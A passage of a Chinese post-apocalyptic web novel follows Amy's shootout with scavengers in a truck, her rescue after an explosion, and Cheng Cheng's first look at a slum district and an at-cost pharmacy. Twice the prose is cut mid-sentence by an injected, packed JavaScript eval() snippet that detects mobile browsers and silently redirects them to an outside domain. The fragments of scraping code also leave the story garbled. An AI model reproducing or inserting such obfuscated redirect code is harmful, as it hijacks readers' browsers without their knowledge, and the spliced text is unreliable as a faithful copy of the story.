艾米扫了他们一眼，这才率先爬上货车车厢，程橙和苏童紧随着。 车里的货物并不多，显然这次拾荒收益惨淡，车厢里还有简易的行军地铺，对他们这些外出拾荒的人来说，十天半月甚至更久才会回一次安全区，将货物卖掉并进行补给，在外的时候大部分时间吃睡都在车上。 “你们几个上车教他们入关的规矩，在旁边看着点，别出什么查差错影响老板的交易。” 车外传来寸头男指挥的声音。 程橙神色一凛，压低了声音，“我觉得不对劲！” 什么规矩需要几个人来教？ 却见到艾米和苏童已经摸出藏在外套下的手枪，上膛，藏在身侧。 8. 与虎谋皮 看到艾米和苏童藏着一手，程橙忍不住感叹自己还是单纯了，竟然真的把武器都交了出去。 艾米已经动作迅速和最后上车的他换了位置，让自己处于最靠近门的位置，压低声音嘱咐：“都往我身后躲，待会我一个人动手！” 说完她闭上了眼睛。 又要帮挡子弹么？ 程橙微微皱眉，他不喜欢躲在别人身后的感觉，但现在不是逞能的时候。 五个拾荒者跟着进了车厢，车厢门被人从外面关上，随着门合上，光线逐渐被隔绝，黑暗逐渐侵蚀不大的空间。 “咔嚓” 车厢门合上的瞬间，枪械保险解除的声音整齐响起。 然而在他们解除保险之前，已经有人先开了枪。 “砰砰砰——” 连续几声枪响，惨叫声随着枪声响起。 上车的拾荒者明显轻敌，根本没想到还有人藏着枪，更没想到枪开得如此果断，懈怠之下动作也会更缓慢，没来得及开枪就先被艾米击中。 在车内完全陷入黑暗之前，艾米已经闭上眼睛提前适应黑暗，在门关上的刹那就睁眼，但没来得瞄准，只是记住了几人上车的站位，朝那些位置开了枪，虽然中了，但做不到一击毙命。 不过她的速度够快，开枪的同时，身子如同脱弓的箭弹射而出，一手拔出腿上的匕首，一边势若闪电般又“砰砰”两枪直接将两个最近的人爆头。 其他三人甚至还没从中枪中反应过来，她已经用匕首割开第三个人的喉咙，顺手朝第四个人补枪。 最后一个人终于反应过来，但还没适应黑暗，又中了枪处于疼痛又慌乱的状态，感觉到艾米的近身更是六神无主，下意识想胡乱开枪。 可艾米比他快，手直接抓住了枪管，迅速抬起让枪口对准天上。 “哒哒哒——” 自动步枪连绵的子弹全都打向车顶，射出密密麻麻的弹孔，光从孔洞漏了进来。 子弹还没来得打空，冰冷的匕首就已经掠过他的喉咙，在瞬间就割开皮肉，割断血管喉管，鲜血喷涌而出，艾米微微侧身，还是溅到裤腿上。 车上最后一名拾荒者倒下，砸在车上发出沉闷的声响。 弹孔中漏进的光一束束，在车厢内上演着丁达尔效应，枪口冒出的硝烟在光中浮动飘散。 枪声过后衬得空气诡异的安静，最后倒下的拾荒者还在抽搐着，血液涌进喉管里，让他的喉间发出破鼓风机一样的悲鸣，在这种情况下显得格外刺耳。挣扎几秒之后彻底没了声息，血腥味悄然蔓延。 程橙和苏童的眼睛甚至还没适应黑暗，车厢就因为射出的弹孔恢复光线。 一切其实只发生在瞬间，他们只听到黑暗中的异响，艾米说她自己动手苏童怕误伤就真的没开枪，可也没想到再恢复光明，先前还鲜活的五个人已经了无生气。 血腥的场面让他们脸色微微发白，外面突然传来寸头男骂骂咧咧的声音： “处理三个武器都没有的小弱鸡而已，搞什么闹出那么大动静？车不要了吗！” 艾米捡起掉落的枪丢给程橙和苏童，“找掩体！” 说着闪身躲进一堆货物后，虽然震惊，两人还是迅速跟着艾米躲起来。 车里没有任何回应，外边的拾荒者终于意识到事情不对劲，寸头男走近货车想看怎么回事，眼尖地看到鲜血顺着车厢缝隙滴落到地上。 他眼神一凝，抬了抬手打出手势，其他人看到后，迅速拿上武器将货车包围，做完部署之后，寸头男才又开口试探：“处理干净了还不赶紧出来？” 仍旧没人回答，车里的三人正忙碌着，从货物里挑出能防身的东西。 车里多是破铜烂铁，在这个资源匮乏的时代，就算是捡到以前的烂电视烂冰箱也算是资源。 三人躲在一个大冰柜后，又怕另一边会遭到射击，拉来一个金属架子挡住。 “还有办法么？”程橙问。 艾米抿了抿嘴，脸上终于罕见的出现凝重的神色。 现在的情况接近绝路，这些掩体只能挡住一时的攻击，要是外面的人直接把车炸了，他们会连渣都不剩。 更不可能强行突围，车子肯定已经被包围了，强行突围只会被射成筛子。 “早知道刚才就不上车了。”苏童下意识道。 “不上车会死得更惨。”程橙说，要是刚才不上车，他们连这些破铜烂铁的掩体都没有，凭着苏童和艾米手上那两把手枪，也不可能打过拾荒者二十几号人。 收敛调侃程橙时的戏谑，艾米的眼神格外镇静，有种久经风霜的老辣，目光在车厢里来回扫寻能用的东西，最后将目光定格在拾荒者留在车厢的包裹。 包裹距离她有些距离，那个位置也没有货物当掩体，她不确定过去拿时外面会不会突然开枪。 “你们的人刚才要对我们动手，这是什么意思？”她突然开口。 听到这个声音，寸头男脸色显得十分难看，艾米还能说话，说明死的是他们的人。 虽然艾米三人包裹得严实，但是碰头的时候从他们的体型和声音，他就判断出对方是三个年轻人，其中还有两名女性，就有了轻视之心。 本来安排他们分开上车，就是想在解决他们的时候降低风险，因为轻视才轻易同意他们上一辆车，想着没了武器随便派几个人上车解决绰绰有余，还省得多清洁两辆车厢的血迹。 怎么都没想到被解决的会是自己的人。 “你把他们怎么样了？”寸头男问，语气带着悲痛。 他是领队，每个加入的队员都是精心挑选经过磨合的，失去一位都是巨大的损失，更何况安全区内还有家人等着他们。 他将人带出来没能带回去，按照拾荒这一行的规矩，就要给死去的队友家里一大笔补偿，要是坏了规矩，往后没人愿意跟着他。 现在一下子死了五个，这一单都不够赔！ “还能怎么样，换做是有人要杀你，你还能手下留情不成？” 艾米轻飘飘的语气，让寸头男额角跳了跳，一张脸因为生气变得涨红，他不想废话抬起手就要下令射击。 车里的人却仿佛很懂他的心理，再次开口：“箱子在我手上，你们要是敢开枪，我就摧毁。 “你已经损失五名队友，光靠捡的这一车破烂，都不够补偿他们的家人吧？要是再完不成老板的任务，先不说你们拾荒队还能不能继续下去，背后的老板也不会让你们好过。” 寸头男下令开枪的手僵在半空中，最终还是没挥下去，僵持了有大半分钟缓缓收回了手，沉声问：“你想怎么样？” “你们老板是不想付给我们的酬劳，才要你们杀了我们么？”艾米问。 “我们可不知道你和老板有什么酬劳，只知道有人找到我们给了一大笔钱，让我们在这里等你们，之后就杀了把箱子带回去。” “啧~”艾米嘲讽了声，“看来就是一群蒙在鼓里的廉价打手，你们不知道箱子里是什么吧？里面是政府从MN集团收购的新型特效药剂配方。 “不问清楚就帮雇主抢箱子，还要带回去，要是在关口处检查出来，拿了政府的东西你们还想继续在安全区生活？” 话音落下，外面忽然爆发窸窸窣窣的谈论声： “真的假的，怎么是政府的东西，我的家人还生活在安全区里，每个月都要领政府发放的抑制剂控制结晶病。要是得罪了政府，我们一家子怎么办？” “得罪了政府我们全都得玩完，如果因为这件事导致全家人被逐出安全区，在外面我们的下场只有异化！我可不想看到我的家人变成那样！” 如果不是家中有结晶病患者，需要抑制剂控制病情，谁又会来做刀口舔血的拾荒者，现在一听到艾米这么说，车队的人都慌了。 眼看人心乱了，寸头男不得不进行安抚，“都安静！她说是政府的药剂我们就信？要真是政府的药剂，他们不过三个人怎么可能拿得到，还胆大包天卖掉？” 这话一出果然让车队的人安静许多，政府的东西每次都有军方护送，凭三个人就拿到确实不太可能。 眼看挑拨没成功，艾米再次慢悠悠补刀：“你们没那本事，不代表我们没有，你们派进来的五个人不就被我们干掉了？ “你再猜猜，明明我们也是要把箱子带回去给老板，为什么他一定要杀了我们，转而让你们带回去？自然是因为这个任务难度大，他给了我们十分可观的报酬，可观到他舍不得给。 “所以找了你们这群被蒙在鼓里的人，花一笔钱打发你们做掉我们带回箱子，这样就不用给我们付那笔天价的尾款。” 车外再次沉默下来，这一次的沉默十分长久。 车内的程橙和苏童松了口气，只要说到他们心坎上，那就有回旋的余地。 程橙看向艾米的眼神中，隐隐带着尊敬。 先前她只觉得艾米身手头脑了得，现在看来心理学和谈判学都相当出色。 而在跟外边的人说话的时候，她已经拿来了拾荒者留下的包裹，挑挑拣拣里面的东西，最终翻出许多晶源电池。 他们的车需要晶源启动，包裹里晶源数量喜人，艾米一边谈判一边忙着将这些晶源电池拆线重新连接又捆到一起。 她正忙着，外边的拾荒者没了声音，也不急着催。 好一会儿之后，拾荒者们应该是在相信她说的话和不相信中有了定论，寸头男的声音再次响起。 “现在你想怎么样？” 程橙和苏童又松了口气，艾米手上的活不停，一边搭话：“将我们平安带回安全区，我们也不让你们白损失，得到酬劳之后可以匀点给你补偿死去的队友家人，你们要是路上耍什么花招，反正我们也跑不掉，我就将箱子在你们车队上的消息发给政府。 “车队的编号是09·57132是吧？你们所有成员都在关口登记了信息，一旦让政府知道跟这件事有关系，都别想好过。” 拾荒车队的车上都有政府刻下的编号，前面两个数字表示的是车队注册的安全区，艾米上车前已经将编号记住。 车外又传来压低的讨论声，寸头男过了会再次开口。 “背后的老板敢找你们动政府的东西，绝不是善茬，要是没完成任务，我们也不会有好下场。但他欺骗我们在先，没告诉我们箱子是政府的东西，要是知道我们绝对不会答应。 “我会和他取得联系重新谈判，跟他说我们会将你们和箱子带回安全区交给他们，只要箱子抵达，也算完成了任务，至于你们之后怎么样，那就是你们的事了，我也算是将你们带回安全区。” 这话说完外边就陷入安静，寸头男估摸着是去联系雇主。 艾米手上的动作一顿，随后加快了速度。 程橙和苏童不解，反叛军已经答应重新谈判，他们现在有安全的几率，怎么艾米反而表现得更紧张？ “在掩体后躲好。”她交代了一句，手上的动作愈发快。 不到两分钟，艾米眼神一凛，猛地拽着苏童和程橙在掩体后躲得更深，下一秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就连艾米都短暂晕了过去，意识半沉寂间，David警告的声音将她唤醒。 “快醒醒！检测到浑身多处骨折、轻度脑震荡、轻微内出血，并有可能处于窒息环境中，再不醒来你就真死了！你是被人拿核弹轰了吗？” 艾米猛然惊醒，气囊炸开的皮将他们三人紧紧包裹，再不醒来就真的要窒息而亡。 她连忙扒开气囊，让David检查程橙和苏童的情况。 就算有气囊和她护着，两人的情况也比她还要糟糕，陷在昏迷中没有醒来，但还能保住一条命。 爆炸的冲击波已经过去，空气中还留下灼人的热浪，地面被炸出一个坑，拾荒者的车被炸得散落在各处，一些离得近的人被炸得尸骨无存，还活着的也奄奄一息，没了作战能力。 爆炸引发的动静不小，艾米知道很快就会引来政府巡查机甲或者反叛军。 看着昏迷不醒的苏童和程橙，不及时得到救治，他们也会有生命危险。 犹豫了几秒，她点开手环点开了一个加密频道，不到五秒就被接通。 “我需要帮助。” “已经锁定你的位置，周围的巡查机甲已经调走为你拦住附近的反叛军，直升机很快就到。” “嗯。”艾米轻轻应了声。 那头传来一声轻微的叹气，“小米，还是不打算回来么？我需要你的帮助。” 艾米只是将通话切断。 苏童和程橙都骨折，她不好搬动，只是捡了块铁皮撑在他们上方，挡住爆炸中还没平息的飞尘。 她也在旁边坐下，有些疲惫地倚着支撑铁皮的石头。 虽然身体强度异于常人，对疼痛的忍耐也高于常人，但当身体的伤够多的时候，就算是铁人也很难熬。 周围时不时会响起拾荒者痛苦的呻吟，那是幸存的人，全都在爆炸中受了重伤，得不到救治结局难逃一死。 艾米没有任何出手相救的意思，她不是圣母，没有大气到能不计前嫌救想杀自己的人。 “救、救我……” 又有求救声落入她耳中，声音有些熟悉，她才有兴趣冷冷看去。 寸头男被压在半截车厢下，半边身子被炸得血肉模糊，还剩下的左手臂还能动但也被爆炸热量灼伤。 他拼命朝艾米伸出手，祈求着她能拉他一把。 艾米起身朝他走去，让他看到了希望，眼中全是对生的渴望。 然而，她在他面前停下，抬脚踩在他小臂上。 “啊——”寸头男发出撕心裂肺的惨叫，“放过我，求求你放过我，我是想带你回安全区的，是雇主要我杀了你，我也是逼不得已，啊啊啊——” 艾米没有理会，点开他的手环，调出最近的通话，拨了过去。 很快就接听，“解决干净……” 只说了几个字，对方就停下，因为听到了寸头男撕心裂肺的叫声。 “堂堂MN集团掌权人这么做生意，是不是有点不讲商业准则？” 艾米开口，还是慢悠悠的调调。 那头沉默了两秒，声音再次传来：“我不知道你在说什么。” “不承认没关系，我与虎谋皮，早就做好会流血的预想，就是不知道你有没有做好被反扑的准备？今天这个仇，我记下了。” 说完她将通话切断，空中传来直升机的轰鸣。 她仰起头，一架银灰色的直升机缓缓在上空浮现，螺旋桨扬起的风撩起她在混乱中散开的长发。 不同于先前铁路巡查组的直升机，这架直升机的外壳用特殊金属打造，能够模拟周围的环境改变自身颜色，达到隐身的效果。 这一路便是隐身过来的。 直升机上丢下两根绳索，两个全副武装的人顺着绳索滑下，毕恭毕敬刚想朝她行礼，她只是摆了摆手， “先救那两个人。” 9. 得救 “滴滴滴——” 刺耳的仪器声将程橙从昏迷中唤醒，他睁开眼，周围是完全陌生的环境。 他正在一个拥挤的房间里，倒不是房间小，而是四处堆放着各种他见过或没见过的机器，武器也是满屋乱丢，角落里甚至有半副损坏的机甲。 两道穿着白大褂的身影，正在一张巨大的实验台前忙活着，操作台正中间放着一支绿色的药剂，全息投影在操作台上方投出一整片的公式，天文数字般玄奥难懂。 “扫描已完成，药剂的成分与配方所示完全吻合，可以确定是真的特效药剂。按照复制的资料显示，药剂已经通过人体试用。” David的声音难得正经，投影上的画面出现变幻，调出了接受药剂注射的人的医疗数据， “试药人员接受药剂注射之后的三个月，体征表现正常，结晶病症状没有加重，甚至其中两名有轻微的好转，如果这些数据没有造假，可见药剂确实有效果，但是以我们实验室目前的条件，要想批量合成成品药剂还做不到。” 艾米坐在实验台前，眼睛盯着数据，眉头微蹙着。 “得，费那么大劲搞到配方，结果我们根本做不出来，还同时把政府和反叛军还有MN集团得罪了，还有比这更亏本的买卖吗？” 另一个穿白大褂的人说，声音很熟悉，是在通讯频道里听到过的李维。 程橙挣扎着坐起身，才发现全身疼得厉害，头也是晕的，手臂上打着吊瓶，有针管插在后颈连接到身下的理疗机上。 那些刺耳的“滴滴”声就是理疗机发出的，只要身体的数值发生危险的变化，就会发出提醒，而苏童就躺在旁边的另一台理疗机上，还没醒来。 他一坐起来，理疗仪就发出急促的响声，David的声音从理疗仪传来。 “病人看起来很精神，不好好躺着，似乎有起床蹦迪的打算。” 听到声音艾米和李维才回过头，艾米只是看了一眼，就将注意力放回投影上。 李维倒是和气，举手打了个招呼，“哟，醒了？” “原来你们抢配方也不是因为接了雇主的任务，你们想自己批量生产，然后卖掉？” 李维的话让程橙对这件事又有了新的了解。 一开始她以为艾米是反叛军的人，和反叛军内讧才自己带走配方，后来才发现她还有雇主。就以为她为了从雇主那里获利，背叛了反叛军。 现在才发现她是三方通杀，利用政府从MN集团那里拿出药剂，又利用反叛军截胡政府，最后带走药剂利用雇主回到安全区。 如果不是雇主不守承诺搞出拾荒者的事，等她真的安全回到安全区，将箱子交给雇主，说不定还能从雇主那里赚一大笔，同时又早就复制了药剂的配方，可以自己生产，简直是商业鬼才。 李维摆了摆手，“年轻人，伤还没好呢，不要想那么多。” 说完继续和艾米交谈：“现在要怎么办？” “MN集团让我们吃这么大的亏，就算我们生产不出来，也不能让他们好过。”艾米冷笑着，眼底透着思索。 李维摇了摇头，“严格来讲，我们也不道德，本来就想偷他们的配方，也怪不得他们卸磨杀驴，只能说是各怀鬼胎，狗咬狗一嘴毛。” “你才是狗，我和艾米不是！”一旁传来虚弱的声音，苏童醒了。 程橙又捕捉到重要信息，“什么叫MN集团卸磨杀驴，你们的雇主就是他们？！可是不就是他们将配方卖给政府的吗，为什么又要雇你们抢回？” 艾米没有回答，起身走到苏童的理疗机旁查看她的身体数据。 李维闲着无事，干脆和程橙搭话，也走了过来，程橙因为脑震荡视力受到影响，等他走近才发现是个三十几岁的中年男人。 “小伙子，这我就得跟你好好分析了，你知道MN集团现在的风评怎么样吗？”李维问。 程橙想了想才回答，“应该不算好。” MN集团虽然是世上最大的生化公司，市场上几乎70％的药品都和他们有关，可也因此造成了垄断的现象，这些年患上结晶病的人越来越多，药品的价格也水涨船高，人们对MN集团将药品定价太高的事怨言很大。 “那你觉得MN集团愿意将特效药低价卖给政府，是真的在为人类的未来着想吗？”李维又问。 “当然不。”程橙不假思索回答，MN集团要真这么善良，也不会不断提高药物的价格。 回答完不到几秒，程橙瞬间领悟，“他们是为了挽回口碑！” 患病的人越多，对MN集团费用高昂药品不满的人就越多，而结晶病是绝症，在绝望之下人是会疯的，要是患病的人都联合起来反对MN集团，他们也不会好过。 所以他们大张旗鼓地表示将药低价卖给政府，由政府来批量生产，政府的定价自然更低，甚至等生产技术成熟，特效药说不定会像抑制剂一样限额免费发放。 这这一善举足够反转MN集团的口碑。 可他们是商人，又怎么会甘心放弃这个利润，毕竟结晶病是绝症，市面上的药只能延缓异变速度，从来没有药能让患病的人有所好转。 他们这次的特效药剂，却让两个试药者好转，程度虽然轻微，但也是巨大的希望，这个药一旦上市，必定会遭人哄抢，充满巨大的商业价值。 所以他们一边将药卖给政府，一边找到艾米他们抢回，只要政府没拿到配方，一定会重新回来找MN集团要份新的，到时候他们就可以重新跟政府谈条件，争取更大的利益。 对外他们已经给人们一个态度，不是他们不想救人类，是政府自己守不住药，以此转移焦点能平息很多怒火。 最后虽然还是要给政府配方，但重新谈过之后能争取更多利益，跟稳固MN集团的地位相比，让一部分利给政府，也不是不能接受。 “真是荒唐。”程橙愤愤道，“药本来是用来救人的，可他们只想用来挣钱。” “唉。”李维叹了口气，“哪来那么多善人呢。” 更何况是在这人人自危的末世。 程橙看了他一眼，这感叹的，好像他们抢药就是好人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145318|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 “不过你们又怎么知道MN集团就是雇主，这种事不光彩，他们总不会用真实身份跟你们交易。”他又问。 李维朝艾米努了努嘴，“你得问她，我还一直猜雇主是MN的对头呢。” 程橙看向艾米，她在更换苏童吊瓶里的药，没有半点要回答的意思。 他开始回忆一路上艾米做的一切，试图从中发现一些，艾米会怀疑到MN集团头上的蛛丝马迹，过了会恍然大悟。 “因为那个电话！当时拾荒者已经被说动，去和雇主重新谈判将我们带回安全区的事，也一定和雇主说了，他们要是动手我们就会毁坏箱子的事。 “可和雇主谈判回来，拾荒者就直接开枪，丝毫不在意箱子被毁，这一定得到了雇主的授意。 “不管谁是雇主，既然想拿到箱子，就会在意里面的东西。但如果雇主是MN集团的话就不一样了，他们早就知道配方的内容，不在乎箱子好还是坏！” 程橙看艾米的眼神又多了些惊叹，艾米应该早就有这个猜想，因为在拾荒者说去打电话给雇主的时候，她就加快了手上的动作。 应该是已经预料到，雇主真是MN集团的话会直接让拾荒者下杀手。 “你们和反叛军又是什么关系？”他继续问，他现在对这三个将所有人都算计的人十分好奇。 “没有关系。”李维摊了摊手，“先是MN集团联系我们抢配方，但以我们三个人的力量，想从政府那里偷东西难度太大，所以就找到反叛军合作，借他们的力量牵制住政府。 “我们和反叛军本来计划等列车进入隧道的时候，黑灯瞎火再动手的，到时候反叛军控制整列车的乘客，军方只能交出箱子，而艾米是最靠近箱子的人，反叛军一定会让她先拿着箱子。 “这样她就可以趁机带着箱子跳车，谁知道你小子挺机敏，发现了异常，我们只能提前计划，导致跳车的位置离原定地点偏差了那么多。” “你们又是怎么把那么多反叛军的身份换成列车乘务员的？”程橙继续追问。 虽然当时发车前没有严查列车工作人员的身份，但也都让他们做了虹膜指纹认证，确定无误才让上车。 这么多的反叛军冒充乘务员，他们的识别机器竟然一个都没辨别出来。 “黑了你们的设备，将里面工作人员的虹膜和指纹，换成反叛军的呗~”李维一副轻轻松松的样子。 “……”程橙一时无语，果然是第一工程师。 沉默了会，他又缓缓开口，“你们到底是什么人，枪配方也是为了钱吗？” 李维拍了拍程橙的肩膀，他肩上有伤，疼得龇牙咧嘴，李维却语重心长： “年轻人，这世上不是所有人做事都是为了钱的，我们……” “决定了。”艾米突然打断他的话，苏童的药她已经换好，走回试验台前坐好，调出了操控页面，将配方相关数据压缩成文件，又调出了许多页面，直接将文件发送。 李维看到这一幕瞪大了眼睛，“哎、不是、你……算了，你高兴就好。” 10. 给你看样东西 程橙离得远，视力又受影响没看到艾米做了什么。 李维却一副十分头疼的样子，扫了眼周围摇了摇头，“收拾收拾准备搬家吧，这小子怎么处理？” “随便，丢出去。”艾米头也不回地回答。 “行行行，又是我收拾烂摊子。” 李维说着从一堆杂物中翻出一辆轮椅，示意程橙：“还能起来吗？” 程橙试着下床，但浑身十几处骨折，让他疼得动不了，李维干脆一把将他抱到轮椅上，挪动的过程再次疼得他面目狰狞。 做完这些又拿出全息模拟设备给他戴上，给他换了张脸，自己也换了张，这才准备出门。 临走前回头嘱咐，“你们的东西该带走的收拾一下啊。” 屋里的两人没人理他，显然没放在心上，他已经预料这种反应，见怪不怪地拉开门。 门被拉开的瞬间，裹挟着隐隐腐臭味的风迎面灌来，也扬起程橙额前的碎发，程橙皱了皱眉，坐在轮椅上视角低，他看不到外面的情况，但这种气息令人不适。 李维低头在手环上操作，启动了轮椅的自动移动功能，轮椅载着程橙缓缓驶出门外。 看到外面世界的一瞬间，程橙瞳孔缩了缩，喉咙像被人扼住般突然哽住。 腐臭味的风依然不断灌进鼻子，用了好一会儿他才找到自己的声音，声音发涩缓慢道：“这是，什么地方？” 李维背对着他关门，语气带着不易察觉的怅然， “第五区咯。” 程橙沉默下来，目光瞟向远处。 周围似乎是一片居民区，他们所处的是附近最高一栋居民楼的顶层，视野很好几乎整个居民区的景色都能尽收眼底。 也因为这样，更能深刻感受到这个地方的破败。 安全区里土地资源有限，每一块土地的用途都有政府规划，程橙从小生活在繁华的中心城区，那里高楼耸立四处是先进的科技设备，霓虹灯彻夜不熄。 见过的居民区，也是由政府或者房产商开发的公租或商业住房，都是整洁优美的形象。 这里却像一个巨大的垃圾场，房子堆得很高，形态却怪异。 之所以说怪异，是因为那根本算不上房子，更像是随便捡来的铁板、木板、塑料布围起来搭建成的一个个临时避风港。 几乎每块地皮上都搭着这样的房子，留人通过的路就像狭小的树叶脉络，在拥挤的社区里纵横交错。 这样的房子一个搭着一个越搭越高，一个挨着一个蔓延到视线的尽头，摇摇欲坠拥挤杂乱，像一只只互相挤压的狰狞怪兽。 世界到了这里似乎失去了所有色彩，除了金属生锈氧化的红褐和灰黑色，其他最绚丽的颜色，大概是需要凑近了看才能发现的霉菌颜色。 目之所及，只有一眼望不到头的灰败。 风穿过楼房间不富足的缝隙，发出“呜呜”的怪响，混着空气中的腐臭味，也让这个地方蒙上了一层诡诞的氛围。 程橙以为安全区里的世界，都像他从小生长的中心城区一样繁华，再不济也就政府为贫民建造的公租房那样，虽然不豪华，但从外面看起码排布得干净整齐。 新闻、网络上，没有媒体报导过这样一个地方，他见过的大多是美好的事，让他以为这个世界除了受root能量侵袭，不能离开安全区，以及受结晶病的困扰之外，其他的其实也还行。 所以在看到这个地方的第一眼，他才会愣住，在这之前他从来没想过，原来有人生活在这样一个水深火热的地方，而且这样的人还很多。 看着一眼望不到头的破烂房子，他心中突然涌现出强烈的悲伤情绪。 “我一直不知道第五区还有这样一个地方。”他轻声说。 “像你这样的人，生下来就吃着牛排喝红酒，当然不会注意到世界的角落，有人像蛆虫一样活着。” 李维语气也蒙上了一层阴霾，操纵着轮椅穿过长廊，自己则和轮椅并排走。 他们这栋楼也是附近看起来最好的楼，是一栋十几层的平楼，布局像老式的公租房，一整排都是紧挨着的房间，出了门就是一条从左到右横穿整层楼的长廊，也可以叫做阳台，边缘还有防止人坠空的护栏。 墙体也是实打实的砖头，不像别的房子是用各种材料围起来的，四处漏风。 只是房子应该经受过某些冲击，墙皮大面积剥落，一些墙面倒塌了，露出承重的钢筋柱子，又被住里面的人塞上各种东西填满，造成了一堵新的墙。 就连阳台的护栏，有些地方也缺失了，只是这种不重要的地方，没有人去修补。 他们来到长廊的尽头，左手边就是下楼的楼梯，但李维没有从那里下去，而是按个墙上的按钮。 “吱呀”声和“咔嚓”声同时响起，是锁链被拉动和齿轮运行的声响，程橙才发现长廊外安装着一座施工升降机。 升降机箱体在最底层，不像城市中心的客运电梯运行速度那么快，听着机器沉重的声响，程橙就知道的等箱体升到最高层，会是个漫长的过程。 “比我想象的好点，还有电梯。”他说，在这种地方看到升降机都觉得是个奇迹。 “原本也有正经的电梯，不过在我们住进来之前，电梯板什么的，都已经被人拆了拿去做别的事。” “那这升降机呢？”程橙问。 “她搞来的，我们总不能每天都爬十几层楼梯。” “所以在你们来之前，住楼上的人每天都爬十几层楼梯吗？” “也有从阳台直接跳下去的，不过结果都不太好。” 程橙被逗笑，笑过之后只觉得悲伤，住这样的地方想不开跳楼很正常。 离箱体升到顶楼还很漫长，他继续跟李维闲聊。 “既然是你们的电梯，其他人使用得付出一些什么吧？” “看她心情，大部分时候她都很大方，有时候心情不好，也会提着枪坐在电梯里逮着一个收一份钱。” “她似乎是一个很神奇的人。” “她只是很无聊。”李维说。 程橙突然想起艾米身上的毁灭感，确实像是在这世上活够了，对生死都看淡的无聊劲。 “我们是怎么回来的？”他问出心中的疑惑，醒来后遇到的事情信息量太大，一直到现在才找到合适的时机问。 “就像你说的，她是个神奇的人，谁知道都干了什么，每次我都以为她死定了，可每次都回来了，跟个鬼一样。” 程橙回头看了眼空旷的长廊，意识到这个突然冒出来的人，还藏着更多不为人知的秘密。 升降机终于抵达，李维率先走了进去，轮椅也自动随着他的步伐。 进入后程橙才发现升降机的箱体，甚至连四面的挡板都没有，风呜呜地径直吹到他们身上。 李维知道他的想法，指向一个地方，幽幽说道：“上次有人说这挡板反正也没有用，能不能给他，她慷慨同意了，然后挡板就出现在了那。” 程橙顺着他指的方向看去，果然看到一个升降机挡板围成的房子。 “确实怪大方 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他仰头看着天空越来越小，四周张牙舞爪的房子扭曲倾斜着，似乎随时都会轰然倒塌压下来，连呼吸都带着逼仄压抑。 升降机终于触底，箱体离地面有台阶，李维调了调手环，轮椅下方变出四条机械腿走下了平台，完成后又收缩回去切换成轮子的前进状态。 李维往前走，轮椅也追随着，路面并不平整，轮子辗过时上面的程橙就要受到颠簸，颠得他的伤跟着疼。 他观察四周，发现所有房子并非都是那些随便围起来的避难所，还有很多是像李维他们住的那样的房子。 潦草的避难所都是穿插在这些房子的间隙中搭起来的，或者是直接在这些房子的基础上往上搭。 只是这些房子完整度没有李维他们那栋高，很多墙面倒塌被重建，有些破损的墙面也没人修补。 透过漏洞的墙，他看到很多流浪汉一样的人，密密麻麻挤在一个屋子里。 他们从外边经过，那些流浪汉们用一种麻木空洞的眼神注视着，像一具具没有灵魂的行尸走肉。 路上也能碰到行人，无一例外都包裹严实，几乎只露出一双眼睛，每个人的眼中都都写满警惕，偶尔有一两个低头看到程橙身下的轮椅时，露出贪婪的神色，可一看到旁边李维的脸，又都忌惮地躲得远远的。 明明是这么拥挤的一个地方，可空气中却是诡异的安静，没有音乐、没有欢笑、甚至没有邻里的交谈声，整片区域犹如死气沉沉的墓地。 衬得李维的脚步，和轮椅碾过地面的声响那么刺耳。 看了这么久，程橙也看出一些端倪，李维他们住的那种样式的房子，是政府的手笔，原先应该也是规划让人住，但不知道发生了什么，让这里沦为现在这副模样。 “这个地方为什么会变成这样？”他问。 “这里经历过一场root能量泄露事件，变异体袭击了这里，屏障遭到破坏，政府虽然派军队解决，但这里也遭到严重的破坏。 在很长一段时间里，root能量都处于超出标准的状态，联合政府就将这个地方列为不宜居区域。 “后来屏障修复之后，root能量逐渐被净化，政府还没来得及对这片区域重新规划，像他们这样的人，就先把这片区域占了。” “像他们这样的人？”程橙知道李维说的是住在这里的人，只是他不知道这里的人是哪种人。 “到了。”李维却停下脚步，目光看向前方。 11. 黑暗的真相 程橙顺着李维的视线看去，狭小的小巷里人们竟然排起了长队，队伍的最前方是一间只开了一个小窗口的屋子，窗口上挂着一个闪烁不定的霓虹灯牌，亮着一个“药”字。 窗口的两边，有几个手持步枪的人，眼神恶狠狠从那些排队的人身上扫过，似是一种震慑。 “我们的店。”李维说，一边带着程橙绕到药店的后方，从后门进入。 里面跟程橙想的完全不一样，他原本以为这种地方的药店，也会拥挤杂乱。但是里面十分宽敞，灯光明亮货架摆放整齐，上面码着各种药物，程橙扫了眼，大多是针对结晶病的药剂。 李维带着他穿过一排排货架，抵达一扇暗门前，推开门，浓郁的药味传来，程橙更加诧异，这边的房间竟然是个小型的制药工厂。 一台台机器流水线生产着药品，工人的制服干净整洁，全都埋头在机器前苦干。 看到李维来，他们没有停下手上的工作，但脸上都带着笑打招呼， “老板！” 这是程橙第一次在这里的人身上感受到生气，李维只是点了点头，就带着他继续往前走，抵达了另一间房，是个监控室。 监控室里有两个人守着，看到李维连忙起身迎接，李维摆了摆手，“你们先出去。” 人都走后他坐下，程橙目光扫过监控屏幕，显示的都是工厂各个角落的监控画面，从监控画面大致能摸清工厂的规模。 规模虽然不大，但产品线很完整，从原材料处理车间、到生产车间、再到售卖一条龙，竟然都在这里完成。 “你说得没错，我们抢配方确实是想自己生产，不过跟你想的有些不一样，我们不盈利，这里的所有药品几乎是原价、甚至是亏本出售。”李维缓缓说道。 程橙皱着眉，不是很相信，就没有插话等着他继续说下去。 “这里的人，全都是被联合政府遗弃的人。” 程橙眉头皱得更深了，“你在说什么？” 